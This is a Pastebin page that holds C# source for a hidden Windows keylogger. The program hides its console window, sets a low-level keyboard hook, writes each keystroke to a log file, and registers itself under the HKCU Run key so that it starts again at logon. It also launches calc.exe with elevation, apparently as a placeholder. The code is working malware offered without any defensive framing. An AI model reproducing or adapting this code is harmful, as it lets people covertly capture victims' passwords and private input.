Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using Microsoft.Win32;
- using System;
- using System.Diagnostics;
- using System.IO;
- using System.Runtime.InteropServices;
- using System.Windows.Forms;
- namespace cv3
- {
- internal class InterceptKeys
- {
- private const int WH_KEYBOARD_LL = 13;
- private const int WM_KEYDOWN = 0x0100;
- private static LowLevelKeyboardProc _proc = HookCallback;
- private static IntPtr _hookID = IntPtr.Zero;
- public static void Main()
- {
- Program.RunReg();
- var handle = GetConsoleWindow();
- // Hide
- ShowWindow(handle, SW_HIDE);
- _hookID = SetHook(_proc);
- Application.Run();
- UnhookWindowsHookEx(_hookID);
- }
- private static IntPtr SetHook(LowLevelKeyboardProc proc)
- {
- using (Process curProcess = Process.GetCurrentProcess())
- using (ProcessModule curModule = curProcess.MainModule)
- {
- return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
- GetModuleHandle(curModule.ModuleName), 0);
- }
- }
- private delegate IntPtr LowLevelKeyboardProc(
- int nCode, IntPtr wParam, IntPtr lParam);
- private static IntPtr HookCallback(
- int nCode, IntPtr wParam, IntPtr lParam)
- {
- if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
- {
- int vkCode = Marshal.ReadInt32(lParam);
- Console.WriteLine((Keys)vkCode);
- StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);
- switch (vkCode)
- {
- case 32: sw.Write(" ");
- // space
- break;
- case 13: sw.WriteLine();
- // return key
- break;
- default: sw.Write((Keys)vkCode);
- break;
- }
- sw.Close();
- }
- return CallNextHookEx(_hookID, nCode, wParam, lParam);
- }
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr SetWindowsHookEx(int idHook,
- LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- [return: MarshalAs(UnmanagedType.Bool)]
- private static extern bool UnhookWindowsHookEx(IntPtr hhk);
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
- IntPtr wParam, IntPtr lParam);
- [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr GetModuleHandle(string lpModuleName);
- [DllImport("kernel32.dll")]
- static extern IntPtr GetConsoleWindow();
- [DllImport("user32.dll")]
- static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
- const int SW_HIDE = 0;
- }
- public class Program
- {
- public static void RunReg()
- {
- var realPath = Application.ExecutablePath;
- var reg = Registry.CurrentUser.GetValue("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\cv3", realPath);
- // Console.WriteLine("REG\t" + reg);
- //if it does exist, retrieve the stored values
- if (reg != null)
- {
- var key3 = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
- // Console.WriteLine("KEY3\t" + key3);
- if (key3 != null)
- {
- var myPath = key3.GetValue("cv3", realPath).ToString();
- // Console.WriteLine("MYPATH\t\t" + myPath);
- // Console.WriteLine("REALPATH\t" + "\"" + realPath + "\"");
- var result = myPath.Equals("\"" + realPath + "\"", StringComparison.Ordinal);
- // Console.WriteLine("RESULT\t" + result);
- if (result)
- {
- // Console.WriteLine("PATHS SAME\n");
- }
- else
- {
- key3.SetValue("cv3", "\"" + Application.ExecutablePath + "\"");
- // Console.WriteLine("ADDED NEW PATH");
- }
- }
- key3?.Close();
- }
- if (reg == null)
- {
- var add = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
- // Console.WriteLine("ADD\t" + add);
- if (add == null) return;
- add.SetValue("cv3", "\"" + Application.ExecutablePath + "\"");
- // Console.WriteLine("KEY WAS NULL AND NOW IS SET\n");
- add.Close();
- }
- var info = new ProcessStartInfo(@"C:\Windows\System32\calc.exe")
- {
- UseShellExecute = true,
- Verb = "runas"
- };
- Process.Start(info);
- }
- }
- }
Add Comment
Please, Sign In to add comment